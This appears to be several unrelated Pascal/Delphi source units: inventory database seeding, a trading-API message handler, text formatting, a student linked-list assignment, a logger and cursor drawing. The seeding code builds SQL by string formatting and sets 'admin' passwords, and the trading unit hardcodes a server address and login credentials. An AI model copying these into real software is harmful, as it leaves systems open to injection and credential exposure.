unit UnitDSServerDB; interface uses Forms, SysUtils, SqlExpr; const DB_NAME = 'INVENTORY.FDB'; SQLADDBLOBFIELD :String ='ALTER TABLE EMPLOYEE ADD PICTURE BLOB SUB_TYPE TEXT CHARACTER SET WIN1252'; SQLINSERTSITE :String ='Insert Into SITE (NAME, ADDRESS, SUBURB, CITY ' + ', CODE, COUNTRY, STATUSID, ADDEDON ) ' + 'Values ( ''%s'', ''%s'', ''%s'', ''%s'', ''%s'', ''%s'', %s, %s)'; SQLINSERTROLLFORMER :String ='Insert Into ROLLFORMER (NAME, DESCRIPTION, PROGRAM, VERSION ' + ', CODE, PRODUCTION, STATUSID, SITEID, RFTYPEID, ADDEDON ) ' + 'Values ( ''%s'', ''%s'', ''%s'', ''%s'', ''%s'', %s, %s, %s, %s, %s)'; SQLINSERTJOB :String ='Insert Into JOB (NAME, DESCRIPTION, DESIGNER, STATUSID, SITEID, ADDEDON ) ' + 'Values ( ''%s'', ''%s'', ''%s'', %s, %s, %s)'; SQLINSERTSTEELFRAME :String ='Insert Into STEELFRAME (NAME, MINHOLEDISTANCE'+ ', PROFILEHEIGHT, PRECAMBER, ITEMCOUNT, PLATEYMIN' + ', PLATEYMAX, XMIN, XMAX, YMIN, YMAX, CONNECTIONCOUNT' + ', CONNECTORS, STATUSID, SITEID, ROLLFORMERID, ADDEDON )' + ' Values ( ''%s'', %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, ' + ', %s, %s, %s, %s, %s, %s)'; SQLINSERTFRAMEITEM :String ='Insert Into FRAMEITEM (NAME, TYPE, LENGTH'+ ', WEB, COL, OPERATIONCOUNT, ORIENTATION' + ', NONRF, ISFACINGITEM, FRAMEID, STATUSID, SITEID, ROLLFORMERID )' + ' Values ( ''%s'', %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s )'; SQLINSERTCARD :String ='Insert Into CARD (CARDNUMBER, DESCRIPTION, TYPE'+ ', METERS, REMAINING, STATUSID, SITEID, ADDEDON )' + ' Values ( ''%s'', %s, %s, %s, %s, %s, %s, %s )'; SQLINSERTCOIL :String ='Insert Into COIL (COILNUMBER, DESCRIPTION, GAUGE'+ ', TYPE, WEIGHT, STATUSID, SITEID, ADDEDON )' + ' Values ( ''%s'', ''%s'', ''%s'', %s, %s, %s, %s, %s )'; SqlInsertEMPLOYEE :String = 'Insert Into EMPLOYEE (STORENO, STOREEMPLOYEEID, ADDEDON, TYPEID, STATUSID ' + ', CODE, FIRSTNAME, LASTNAME, EMAIL, PHONE, ADDRESSID, DEPARTMENTID ' + ', PASSWORD, SALARY, GENDER ) ' + ' Values ( %s, %s, %s, %s, %s, ''%s'', ''%s'', ''%s'', ''%s'', ''%s'', %s, %s, ''%s'',%s, %s)'; SqlInsertMODROLE :String = 'Insert Into MODROLE ( ADDEDON, TYPEID, STATUSID ' + ', APPLYTO, AUTHROLE, DENIEDROLE ) ' + ' Values ( %s, %s, %s, ''%s'', ''%s'', ''%s'')'; SqlInsertUSERROLE :String = 'Insert Into USERROLE ( ADDEDON, TYPEID, STATUSID ' + ', USERS, ROLES ) ' + ' Values ( %s, %s, %s, ''%s'', ''%s'' )'; function GetScotRFDatabaseDirectory: String; function GetServerDatabaseDirectory: String; implementation uses com_Exception; function GetScotRFDatabaseDirectory: String; begin Result := ''; // Result := GetSpecialFolderPath(CSIDL_APPDATA, False); // if Result[Length(Result)] <> '\' then // Result := Result + '\'; // Result := Result + ChangeFileExt('Scottsdale\ScotRFData', '')+ '\'; // if not DirectoryExists(Result) then // CreateDir(Result); end; function GetServerDatabaseDirectory: String; begin Result := GetSpecialFolderPath(CSIDL_COMMON_APPDATA, False); if Result[Length(Result)] <> '\' then Result := Result + '\'; Result := Result + ChangeFileExt('ScotServer', '')+ '\'; if not DirectoryExists(Result) then CreateDir(Result); end; procedure PopulateData(conn: TSQLConnection); var Comm : TDBXCommand; begin Comm := conn.DBXConnection.CreateCommand; try // Add blob ep2text field Comm.Text := SQLADDBLOBFIELD; Comm.ExecuteUpdate; // Populate EMPLOYEE Comm.Text := Format(SqlInsertEMPLOYEE, ['1','1',QuotedStr(FormatDateTime('dd.mm.yyyy hh:nn',NOW)),'1' ,'1','Thanuja','Thanuja','Ranawaka','Thanuja.Ranawaka@scottsdalesteelframes.com','3663713','1','1','admin','0','1']); Comm.ExecuteQuery; Comm.Text := Format(SqlInsertEMPLOYEE, ['1','2',QuotedStr(FormatDateTime('dd.mm.yyyy hh:nn',NOW)),'1' ,'1','Grant','Grant','Murfin','Grant.Murfin@scottsdalesteelframes.com','3663713','1','1','admin','0','1']); Comm.ExecuteQuery; Comm.Text := Format(SqlInsertEMPLOYEE, ['1','3',QuotedStr(FormatDateTime('dd.mm.yyyy hh:nn',NOW)),'1' ,'1','Steven','Steven','Wang','Steven.Wang@scottsdalesteelframes.com','3663713','1','1','admin','0','1']); Comm.ExecuteQuery; // Populate MODROLE Comm.Text := Format(SqlInsertMODROLE, [QuotedStr(FormatDateTime('dd.mm.yyyy hh:nn',NOW)),'1' ,'1','*','ADMIN','0']); Comm.ExecuteQuery; // Populate USERROLE Comm.Text := Format(SqlInsertUSERROLE, [QuotedStr(FormatDateTime('dd.mm.yyyy hh:nn',NOW)),'1' ,'1','ADMIN','ADMIN']); Comm.ExecuteQuery; Comm.Text := Format(SqlInsertUSERROLE, [QuotedStr(FormatDateTime('dd.mm.yyyy hh:nn',NOW)),'1' ,'1','Steven','ADMIN']); Comm.ExecuteQuery; Comm.Text := Format(SqlInsertUSERROLE, [QuotedStr(FormatDateTime('dd.mm.yyyy hh:nn',NOW)),'1' ,'1','Thanuja','ADMIN']); Comm.ExecuteQuery; Comm.Text := Format(SqlInsertUSERROLE, [QuotedStr(FormatDateTime('dd.mm.yyyy hh:nn',NOW)),'1' ,'1','Grant','ADMIN']); Comm.ExecuteQuery; finally Comm.Free; end; end; end.
unit MemCheckObject; interface uses Classes, Dialogs; type TMemCheckObj = class public constructor Create; destructor Destroy; override; end; var MemCheckObjects: TList; implementation constructor TMemCheckObj.Create; begin inherited; MemCheckObjects.Add(Self); end; destructor TMemCheckObj.Destroy; begin MemCheckObjects.Remove(Self); inherited; end; function GetMemCheckObjects: String; var i: integer; begin Result := ''; for i := 0 to MemCheckObjects.Count-1 do Result := Result + TMemCheckObj(MemCheckObjects[i]).ClassName + ', '; end; var s: string; initialization MemCheckObjects := TList.Create; finalization s := GetMemCheckObjects; if s <> '' then ShowMessage('Folgende Objecte wurden nicht freigegeben: ' + s); MemCheckObjects.Free; end.
unit ctpConsoleAppCommandWnd; interface uses Windows, Messages, sysutils; function CreateAppCommandWindow: HWND; procedure AppCmdWinLog(ALog: string); var _AppCmdWinLog: procedure (ALog: string); implementation uses define_app_msg, UtilsApplication, ctpConsoleAppCommandWnd_CopyData, {WMCopyData, } TcpAgentConsole; procedure AppCmdWinLog(ALog: string); begin if Assigned(_AppCmdWinLog) then _AppCmdWinLog(ALog); end; procedure DoWMDEBUGOUTPUT(AWnd: HWND; AMsg: UINT; wParam: WPARAM; lParam: LPARAM); begin AppCmdWinLog('DoWMDEBUGOUTPUT'); end; procedure WMMDFrontDisconnected(AWnd: HWND; AMsg: UINT; wParam: WPARAM; lParam: LPARAM); begin AppCmdWinLog('WMMDFrontDisconnected'); GTcpAgentConsole.Quote.IsMDConnected := false; end; procedure WMDealFrontDisconnected(AWnd: HWND; AMsg: UINT; wParam: WPARAM; lParam: LPARAM); begin AppCmdWinLog('WMDealFrontDisconnected'); GTcpAgentConsole.Deal.IsDealConnected := false; end; procedure WMMDHeartBeatWarning(AWnd: HWND; AMsg: UINT; wParam: WPARAM; lParam: LPARAM); begin AppCmdWinLog('WMHeartBeatWarning'); end; procedure WMDealHeartBeatWarning(AWnd: HWND; AMsg: UINT; wParam: WPARAM; lParam: LPARAM); begin AppCmdWinLog('WMDealHeartBeatWarning'); end; procedure WMMDFrontConnected(AWnd: HWND; AMsg: UINT; wParam: WPARAM; lParam: LPARAM); begin AppCmdWinLog('WMMDFrontConnected'); GTcpAgentConsole.Quote.IsMDConnected := true; end; procedure WMDealFrontConnected(AWnd: HWND; AMsg: UINT; wParam: WPARAM; lParam: LPARAM); begin AppCmdWinLog('WMDealFrontConnected'); GTcpAgentConsole.Deal.IsDealConnected := true; end; procedure WMMDRspUserLogin(AWnd: HWND; AMsg: UINT; wParam: WPARAM; lParam: LPARAM); begin if 1 = wParam then begin AppCmdWinLog('WMMDRspUserLogin succ'); GTcpAgentConsole.Quote.IsMDLogined := true; end else begin if 100 = wParam then begin AppCmdWinLog('WMMDRspUserLogin fail'); end; end; end; procedure WMDealRspUserLogin(AWnd: HWND; AMsg: UINT; wParam: WPARAM; lParam: LPARAM); begin if 1 = wParam then begin AppCmdWinLog('WMDealRspUserLogin succ'); GTcpAgentConsole.Deal.IsDealLogined := true; PostMessage(AWnd, WM_User_Logined_Deal, 0, 0); end else begin if 100 = wParam then begin AppCmdWinLog('WMDealRspUserLogin fail'); end; end; end; procedure WMRspUnSubMarketData(AWnd: HWND; AMsg: UINT; wParam: WPARAM; lParam: LPARAM); begin AppCmdWinLog('WMRspUnSubMarketData'); end; procedure WMRtnDepthMarketData(AWnd: HWND; AMsg: UINT; wParam: WPARAM; lParam: LPARAM); begin AppCmdWinLog('WMRtnDepthMarketData'); end; procedure WMMDIsErrorRspInfo(AWnd: HWND; AMsg: UINT; wParam: WPARAM; lParam: LPARAM); begin AppCmdWinLog('WMMDIsErrorRspInfo'); end; procedure WMDealIsErrorRspInfo(AWnd: HWND; AMsg: UINT; wParam: WPARAM; lParam: LPARAM); begin AppCmdWinLog('WMDealIsErrorRspInfo'); end; procedure WMRspSubMarketData(AWnd: HWND; AMsg: UINT; wParam: WPARAM; lParam: LPARAM); begin AppCmdWinLog('WMRspSubMarketData'); end; procedure WMRspQryTradingAccount(AWnd: HWND; AMsg: UINT; wParam: WPARAM; lParam: LPARAM); begin AppCmdWinLog('WMRspQryTradingAccount'); end; var GIsQuoteMode: Boolean = False; GIsEndQuote: Boolean = False; procedure WMC2CStartQuote(); var tmpCounter: Integer; tmpHour: Word; tmpMin: Word; tmpSec: Word; tmpMSec: Word; begin // 知道了, 如果提早时间连接 可能一直没有连接上 最后就跳掉了 GIsQuoteMode := true; GTcpAgentConsole.Quote.InitMD; SleepWait(500); DecodeTime(now, tmpHour, tmpMin, tmpSec, tmpMSec); if tmpHour = 9 then begin while tmpMin < 14 do begin SleepWait(100); DecodeTime(now, tmpHour, tmpMin, tmpSec, tmpMSec); end; if tmpMin = 14 then begin while (tmpMin = 14) and (tmpSec < 55) do begin SleepWait(100); DecodeTime(now, tmpHour, tmpMin, tmpSec, tmpMSec); end; end; end; tmpCounter := 0; while not GTcpAgentConsole.Quote.IsMDConnected do begin GTcpAgentConsole.Quote.ConnectMD('tcp://180.166.65.119:41213'); SleepWait(500); Inc(tmpCounter); if tmpCounter > 30 then Break; end; if GTcpAgentConsole.Quote.IsMDConnected then begin tmpCounter := 0; while not GTcpAgentConsole.Quote.IsMDLogined do begin GTcpAgentConsole.Quote.LoginMD('8060', '039753', '841122'); SleepWait(500); Inc(tmpCounter); if tmpCounter > 10 then Break; end; GTcpAgentConsole.Quote.MDSubscribe('IF1606'); end; end; procedure WMC2CEndQuote(AWnd: HWND); begin if GIsQuoteMode then begin if not GIsEndQuote then begin GIsEndQuote := true; GTcpAgentConsole.Quote.MDSaveAllQuote; PostMessage(AWnd, WM_App_Quit, 0, 0); end; end; end; procedure DoWMM2MOpenDeal(AWnd: HWND; AMsg: UINT; wParam: WPARAM; lParam: LPARAM); begin if lParam = 0 then begin // 否则 不符合价格规则 :) 难怪 下单被自动取消了 // offset 必须是 0.2 的倍数 //GTcpAgentConsole.Deal.HandleDealOpenDeal(Pointer(wParam), 1.2); end else begin //GTcpAgentConsole.Deal.HandleDealOpenDeal(Pointer(wParam), Integer(lparam) / 1000); end; end; procedure DoWM_UserLoginedDeal(AWnd: HWND; AMsg: UINT; wParam: WPARAM; lParam: LPARAM); begin //1. 一旦完成登录 马上确认 信息 //2. 获取资金明细 //3. 获取持仓明细 GTcpAgentConsole.Deal.ConfirmSettlementInfo; SleepWait(1000); GTcpAgentConsole.Deal.QueryMoney; SleepWait(1000); GTcpAgentConsole.Deal.QueryUserHold('IF1606'); SleepWait(1000); end; function AppCommandWndProcA(AWnd: HWND; AMsg: UINT; wParam: WPARAM; lParam: LPARAM): LRESULT; stdcall; begin Result := 0; case AMsg of WM_App_Quit: begin //App.GApp.Quit; end; WM_CopyData: begin DoWMCopyData(AWnd, AMsg, wParam, lParam); exit; end; WM_User_Logined_Deal: begin DoWM_UserLoginedDeal(AWnd, AMsg, wParam, lParam); exit; end; WM_S2C_DEBUG_OUTPUT: begin DoWMDEBUGOUTPUT(AWnd, AMsg, wParam, lParam); exit; end; WM_M2M_OpenDeal: begin DoWMM2MOpenDeal(AWnd, AMsg, wParam, lParam); exit; end; WM_S2C_MD_FrontDisconnected: begin WMMDFrontDisconnected(AWnd, AMsg, wParam, lParam); exit; end; WM_S2C_Deal_FrontDisconnected: begin WMDealFrontDisconnected(AWnd, AMsg, wParam, lParam); exit; end; WM_S2C_MD_HeartBeatWarning: begin WMMDHeartBeatWarning(AWnd, AMsg, wParam, lParam); exit; end; WM_S2C_Deal_HeartBeatWarning: begin WMDealHeartBeatWarning(AWnd, AMsg, wParam, lParam); exit; end; WM_S2C_MD_FrontConnected: begin WMMDFrontConnected(AWnd, AMsg, wParam, lParam); exit; end; WM_S2C_Deal_FrontConnected: begin WMDealFrontConnected(AWnd, AMsg, wParam, lParam); exit; end; WM_S2C_MD_RspUserLogin: begin WMMDRspUserLogin(AWnd, AMsg, wParam, lParam); exit; end; WM_S2C_Deal_RspUserLogin: begin WMDealRspUserLogin(AWnd, AMsg, wParam, lParam); exit; end; WM_S2C_RspUnSubMarketData: begin WMRspUnSubMarketData(AWnd, AMsg, wParam, lParam); exit; end; WM_S2C_RtnDepthMarketData: begin WMRtnDepthMarketData(AWnd, AMsg, wParam, lParam); exit; end; WM_S2C_MD_IsErrorRspInfo: begin WMMDIsErrorRspInfo(AWnd, AMsg, wParam, lParam); exit; end; WM_S2C_Deal_IsErrorRspInfo: begin WMDealIsErrorRspInfo(AWnd, AMsg, wParam, lParam); exit; end; WM_S2C_RspSubMarketData: begin WMRspSubMarketData(AWnd, AMsg, wParam, lParam); exit; end; WM_S2C_RspQryTradingAccount: begin WMRspQryTradingAccount(AWnd, AMsg, wParam, lParam); exit; end; WM_C2C_Start_Quote: begin if wParam = 0 then begin Result := 1; PostMessage(AWnd, WM_C2C_Start_Quote, 1, 0); end else begin WMC2CStartQuote(); end; exit; end; WM_C2C_End_Quote: begin WMC2CEndQuote(AWnd); exit; end; end; Result := DefWindowProcA(AWnd, AMsg, wParam, lParam); end; function CreateAppCommandWindow: HWND; var tmpRegWinClass: TWndClassA; tmpGetWinClass: TWndClassA; tmpIsReged: Boolean; begin Result := 0; FillChar(tmpRegWinClass, SizeOf(tmpRegWinClass), 0); tmpRegWinClass.hInstance := HInstance; tmpRegWinClass.lpfnWndProc := @AppCommandWndProcA; tmpRegWinClass.lpszClassName := '53A21E38-BE70-447E-B76E-9C07C9C250F8'; tmpIsReged := GetClassInfoA(HInstance, tmpRegWinClass.lpszClassName, tmpGetWinClass); if tmpIsReged then begin if (tmpGetWinClass.lpfnWndProc <> tmpRegWinClass.lpfnWndProc) then begin UnregisterClassA(tmpRegWinClass.lpszClassName, HInstance); tmpIsReged := false; end; end; if not tmpIsReged then begin if 0 = RegisterClassA(tmpRegWinClass) then exit; end; Result := CreateWindowExA( WS_EX_TOOLWINDOW //or WS_EX_APPWINDOW //or WS_EX_TOPMOST , tmpRegWinClass.lpszClassName, '', WS_POPUP {+ 0}, 0, 0, 0, 0, HWND_MESSAGE, 0, HInstance, nil); end; end.
unit uFormatacaoMemo; interface uses Vcl.ComCtrls, System.UITypes, Vcl.Graphics, System.SysUtils, Data.DB, Vcl.Forms, System.Classes; type TFormatacao = class public class procedure EstiloNegrito(var Editor: TRichEdit); class procedure EstiloSublinhado(var Editor: TRichEdit); class procedure EstiloItalico(var Editor: TRichEdit); class procedure EstiloRiscado(var Editor: TRichEdit); class procedure AlinhamentoEsquerdo(var Editor: TRichEdit); class procedure AlinhamentoDireito(var Editor: TRichEdit); class procedure AlinhamentoCentro(var Editor: TRichEdit); class procedure SalvarMemo(var Editor: TRichEdit; Campo: TMemoField); overload; class procedure SalvarMemo(var Editor: TRichEdit); overload; class procedure CarregarMemo(var Editor: TRichEdit; Campo: TMemoField); overload; class procedure CarregarMemo(var Editor: TRichEdit); overload; end; implementation uses Vcl.Dialogs; { TFormatacao } class procedure TFormatacao.AlinhamentoCentro(var Editor: TRichEdit); begin Editor.Paragraph.Alignment := taCenter; end; class procedure TFormatacao.AlinhamentoDireito(var Editor: TRichEdit); begin Editor.Paragraph.Alignment := taRightJustify; end; class procedure TFormatacao.AlinhamentoEsquerdo(var Editor: TRichEdit); begin Editor.Paragraph.Alignment := taLeftJustify; end; class procedure TFormatacao.CarregarMemo(var Editor: TRichEdit); var TmpFile: string; begin try TmpFile := ExtractFilePath(Application.ExeName) + 'tmpF.000'; Editor.Lines.LoadFromFile(TmpFile); DeleteFile(TmpFile); except On E: Exception do ShowMessage(E.Message + ' - ' + E.ClassName); end; end; class procedure TFormatacao.CarregarMemo(var Editor: TRichEdit; Campo: TMemoField); var TmpFile: string; begin try TmpFile := ExtractFilePath(Application.ExeName) + 'tmpF.000'; TBlobField(Campo).SaveToFile(TmpFile); Editor.Lines.LoadFromFile(TmpFile); DeleteFile(TmpFile); except On E: Exception do ShowMessage(E.Message + ' - ' + E.ClassName); end; end; class procedure TFormatacao.EstiloItalico(var Editor: TRichEdit); begin with Editor.SelAttributes do begin if not (fsItalic in Style) then Style:=Style+[fsItalic] else Style:=Style-[fsItalic]; end; end; class procedure TFormatacao.EstiloNegrito(var Editor: TRichEdit); begin with Editor.SelAttributes do begin if not (fsBold in Style) then Style:=Style+[fsBold] else Style:=Style-[fsBold]; end; end; class procedure TFormatacao.EstiloRiscado(var Editor: TRichEdit); begin with Editor.SelAttributes do begin if not (fsStrikeOut in Style) then Style:=Style+[fsStrikeOut] else Style:=Style-[fsStrikeOut]; end; end; class procedure TFormatacao.EstiloSublinhado(var Editor: TRichEdit); begin with Editor.SelAttributes do begin if not (fsUnderline in Style) then Style:=Style+[fsUnderline] else Style:=Style-[fsUnderline]; end; end; class procedure TFormatacao.SalvarMemo(var Editor: TRichEdit); var TmpFile: string; begin try TmpFile := ExtractFilePath(Application.ExeName) + 'tmpF.000'; Editor.Lines.SaveToFile(TmpFile); except On E: Exception do ShowMessage(E.Message + ' - ' + E.ClassName); end; end; class procedure TFormatacao.SalvarMemo(var Editor: TRichEdit; Campo: TMemoField); var TmpFile: string; begin try TmpFile := ExtractFilePath(Application.ExeName) + 'tmpF.000'; Editor.Lines.SaveToFile(TmpFile); TBlobField(Campo).LoadFromFile(TmpFile); DeleteFile(TmpFile); except On E: Exception do ShowMessage(E.Message + ' - ' + E.ClassName); end; end; end.
UNIT a1unit ; INTERFACE { Type Definitions: To be included in the "interface" section of the file"a1unit.pas". } type (*Collection_element = the data type to store in the collection *) collection_element = string; (*Collection_node = a node in the linked list storing the collection elements *) collection_node_pointer = ^collection_node; collection_node = record value: collection_element; next: collection_node_pointer; end; (*Collection_header = a record containing information about the size of the collection, as well as pointers to the first and last elements *) collection_header = record size: integer; first: collection_node_pointer; last: collection_node_pointer; end; (*Collection = the main data type of the collection. It is a pointer to a collection header *) collection = ^collection_header; var MemCount: integer; function MemCheck: boolean ; procedure Create_Collection(var C: Collection) ; procedure Destroy(var C: Collection) ; function Size(C: Collection): integer ; function Is_Empty(C: Collection): boolean ; procedure Insert(var C: Collection; V: collection_element) ; procedure Delete(var C: Collection; V: collection_element) ; procedure Join(var C1, C2: Collection) ; procedure Print(C: Collection) ; procedure IdentifyMyself ; procedure ReadKey ; IMPLEMENTATION (***************** Special memory management stuff *******************) (* Place the following ABOVE the collection procedures and functions *) (* Use Get_CNode instead of "new" *) procedure Get_CNode(var C: Collection_node_pointer) ; begin new(C); MemCount := MemCount + 1; end; (* Use Return_CNode instead of "dispose" *) procedure Return_CNode(var C: Collection_node_pointer) ; begin dispose(C); MemCount := MemCount - 1; end; function MemCheck ; begin MemCheck := (MemCount = 0); end; { Specifications: These headers should go in the "implementation" section of "a1unit.pas".Ê Each header should be followed by your code to implement the operation. } procedure Create_Collection ; (* preconditions: C is undefined * postconditions: C is the empty collection with storage allocated as needed. *) BEGIN new(C) ; inc(MemCount) ; C^.size := 0 ; C^.first := Nil ; C^.last := Nil END; { proc Create_Collection } procedure Destroy ; {* preconditions: C is a defined collection * postconditions: C' is undefined. All dynamically allocated memory } var K: collection_node_pointer ; BEGIN while ( C^.size > 0 ) do BEGIN K := C^.first ; C^.first := K^.next ; return_Cnode(K) ; dec(C^.size) ; END; { while } dispose(C) ; dec(MemCount) END; { proc Destroy } function Size ; (* preconditions: C is a defined collection. * postconditions: returns the number of elements in C. *) BEGIN Size := C^.size ; END; { fxn Size } function Is_Empty ; (* preconditions: C is a defined collection. * postconditions: returns true if C is empty, false otherwise. *) BEGIN Is_empty := (C^.size = 0) ; END; { fxn Is_Empty } procedure Insert ; (* preconditions: C is a defined collection, V is a collection element. * postconditions: C has value V added. Storage is allocated as needed. If V already occurs in C an additional copy is added. *) var temp: collection_node_pointer ; BEGIN get_Cnode(temp) ; temp^.value := V ; temp^.next := C^.first ; C^.first := temp ; if ( C^.last = Nil ) then C^.last := temp ; inc(C^.size) END; { proc Insert } procedure Delete ; {* preconditions: C is a defined collection, V is a collection element * postconditions: C has the value V removed. If V occurs more than once, only one occurrence is removed. If V does not occur in C, no change is made. *} var K, temp: collection_node_pointer ; BEGIN if ( C^.size > 0 ) & ( C^.first^.value = V ) then BEGIN K := C^.first ; C^.first := K^.next ; return_Cnode(K) ; K := Nil ; if ( C^.first = Nil ) then C^.last := Nil ; dec ( C^.size ) END { if } else BEGIN K := C^.first ; while ( K <> Nil ) & ( K^.next <> Nil ) do BEGIN if ( K^.next^.value = V ) then BEGIN temp := K^.next ; K^.next := temp^.next ; if ( C^.last = temp ) then C^.last := K ; return_Cnode(temp) ; temp := Nil ; dec(C^.size) ; break END { if } else K := K^.next END { while } END { else } END; { proc Delete } procedure Join ; {* preconditions: C1 and C2 are two different defined collections. * postconditions: C1 is the union of the two collections (i.e. it contains all the elements originally in C1 and C2). C2 is undefined. } BEGIN if ( C2^.size > 0 ) then BEGIN C1^.last^.next := C2^.first ; C1^.last := C2^.last ; C1^.size := ( C1^.size + C2^.size ) ; END; { if } dispose(C2) ; C2 := Nil ; dec(MemCount) END; { proc Join } procedure Print ; {* preconditions: C1 is a defined collection. * postconditions: The elements in C1 are printed to the screen in any order.Ê If C1 is empty, the message "EMPTY COLLECTION" is printed to the screen. } var K: collection_node_pointer ; BEGIN if ( C^.size = 0 ) then writeln( 'EMPTY COLLECTION' ) else BEGIN K := C^.first ; while K <> Nil do BEGIN writeln( K^.value ) ; K := K^.next ; END { while } END { else } END; { proc Print } procedure IdentifyMyself; begin writeln; writeln('***** Student Name: Mark Sattolo'); writeln('***** Student Number: 428500'); writeln('***** Professor Name: Sam Scott'); writeln('***** Course Number: CSI-2114'); writeln('***** T.A. Name: Adam Murray'); writeln('***** Tutorial Number: D-1'); writeln; end; { proc IdentifyMyself } procedure ReadKey ; BEGIN readln ; END; { proc ReadKey } (******************** INITIALIZATION CODE **********************) (* this must be placed AT THE END of the TPU file.Ê If you want to initialize other globals, you may do so by adding code to this section *) begin MemCount := 0; END.
{ Version 1.0 - Author jasc2v8 at yahoo dot com This is free and unencumbered software released into the public domain. For more information, please refer to <http://unlicense.org> } { Features: 1. Log file is not locked, can be shared between units 2. User can edit the log file while the program is running to make notes for debugging 3. Log file is formatted for CSV input to sort very large log files 4. Uses abbreviated event types ('DBG', 'ERR', 'INF', 'WRN') 5. Log file fields are of uniform width (TIMESTAMP, TYPE, MESSAGE) } unit eventlogunit; {$mode objfpc}{$H+} interface uses SysUtils; type TEventType = (etDebug, etError, etInfo, etWarning); TEventLogCustom = class private FActive: boolean; FAppend: boolean; //TODO - any use case to NOT append? FDefaultEventType: TEventType; FFileName: string; FLogSizeMax: int64; //TODO public property Active: boolean read FActive write FActive; property FileName: string read FFileName write FFileName; constructor Create(LogFileName: string; LogActive: boolean = true); overload; //destructor Destroy; override; procedure Debug(const msg: string); procedure Error(const msg: string); procedure Info(const msg: string); procedure Warning(const msg: string); procedure Message(const et: TEventType; const msg: string); procedure Message(msg: string); procedure WriteLog(msg: string); published end; const COMMA = ', '; EVENT_TYPES: array [TEventType] of string = ('DBG', 'ERR', 'INF', 'WRN'); implementation function GetDateTime: string; begin Result := FormatDateTime('yyyy-mm-dd hh:nn:ss', Now); end; {TEventLogCustom} constructor TEventLogCustom.Create(LogFileName: string; LogActive: boolean = true); overload; begin inherited Create; Active:=LogActive; if LogFileName.IsEmpty then FileName := 'default.log' else FileName := LogFileName; FLogSizeMax:= 1024 * 1000; FDefaultEventType:= etDebug; end; {destructor TEventLogCustom.Destroy; begin inherited Destroy; end; } procedure TEventLogCustom.WriteLog(msg: string); var f: TextFile; fBin: File; aNewName: string; begin if not Active then Exit; AssignFile(f,FileName); FileMode:=fmOpenReadWrite; if FileExists(FileName) then Append(f) else Rewrite(f); WriteLn(f,msg); CloseFile(f); Exit; //TODO: AssignFile(fBin,FileName); aNewName:=ChangeFileExt(FileName,'.')+FormatDateTime('yyyymmddhhnnss',Now)+'.log'; if FileSize(fBin) >= FLogSizeMax then Rename(fBin,aNewName); end; procedure TEventLogCustom.Debug(const msg: string); begin Message(etDebug, msg); end; procedure TEventLogCustom.Error(const msg: string); begin Message(etError, msg); end; procedure TEventLogCustom.Info(const msg: string); begin Message(etInfo, msg); end; procedure TEventLogCustom.Warning(const msg: string); begin Message(etWarning, msg); end; procedure TEventLogCustom.Message(const et: TEventType; const msg: string); begin WriteLog(GetDateTime + COMMA + EVENT_TYPES[et] + COMMA + msg); end; procedure TEventLogCustom.Message(msg: string); begin WriteLog(GetDateTime + COMMA + EVENT_TYPES[FDefaultEventType] + COMMA + msg); end; end.
unit icon; {$mode objfpc}{$H+} interface uses Classes, SysUtils, windows, Graphics, forms, mouse, lclintf; procedure DrawCursor (ACanvas:TCanvas; Position:TPoint) ; // procedure DrawCursor2 (ACanvas:TCanvas; Position:TPoint) ; procedure DrawCursor3(ACanvas:TCanvas; Position:TPoint); procedure DrawCursor4(ACanvas:TCanvas; Position:TPoint); function GetCursorInfo2(position: Tpoint): TCursorInfo; implementation procedure DrawCursor (ACanvas:TCanvas; Position:TPoint) ; begin //shows what the cursor would be if over this application //not accurate to the application the cursor is currently interacting with DrawIconEx(ACanvas.Handle, Position.X, Position.Y, windows.GetCursor, 32, 32, 0, 0, DI_NORMAL) ; end; { procedure DrawCursor2(ACanvas:TCanvas; Position:TPoint) ; var theCursorInfo: TCursorInfo; theIcon: TIcon; theIconInfo: TIconInfo; begin theIcon := TIcon.Create; theCursorInfo.cbSize := SizeOf(theCursorInfo); GetCursorInfo(theCursorInfo); theIcon.Handle := CopyIcon(theCursorInfo.hCursor); GetIconInfo(theIcon.Handle, theIconInfo); aCanvas.Draw(position.x, position.y, theicon); DeleteObject(theIconInfo.hbmMask); DeleteObject(theIconInfo.hbmColor); theIcon.Free; end; } procedure DrawCursor3(ACanvas:TCanvas; Position:TPoint); var HCursor : THandle; begin //always shows the default pointer cursor HCursor := Screen.Cursors [Ord(Screen.Cursor)]; DrawIconEx(ACanvas.Handle, Position.X, Position.Y, HCursor, 32, 32, 0, 0, DI_NORMAL) ; end; procedure DrawCursor4(ACanvas:TCanvas; Position:TPoint); var myCursor: TIcon; CursorInfo: TCursorInfo; IconInfo: TIconInfo; begin myCursor:=TIcon.Create; Cursorinfo:=GetCursorInfo2(position); if Cursorinfo.hCursor <> 0 then begin myCursor.Handle:=cursorinfo.hCursor; //Get hotspot info windows.GetIconInfo(Cursorinfo.hCursor, IconInfo); aCanvas.Draw(position.x, position.y, mycursor); end; MyCursor.ReleaseHandle; MyCursor.Free; end; function GetCursorInfo2(position: Tpoint): TCursorInfo; var hWindow: HWND; dwThreadID, dwCurrentThreadID: DWORD; begin hWindow:= lclintf.WindowFromPoint(position); if lclintf.IsWindow(hwindow) then begin //get thread ID of cursor owner dwThreadID := windows.GetWindowThreadProcessId(hWindow,nil); //get the threadID for the current thread dwCurrentthreadID := windows.GetCurrentThreadId; // If the cursor owner is not us then we must attach to // the other thread in so that we can use GetCursor() to // return the correct hCursor if (dwCurrentThreadID <> dwThreadID) then begin if AttachThreadInput(dwCurrentThreadID, dwThreadID, True) then begin // Get the handle to the cursor Result.hCursor := GetCursor; AttachThreadInput(dwCurrentThreadID, dwThreadID, False); end; end else begin Result.hCursor := GetCursor; end; end; end; end.
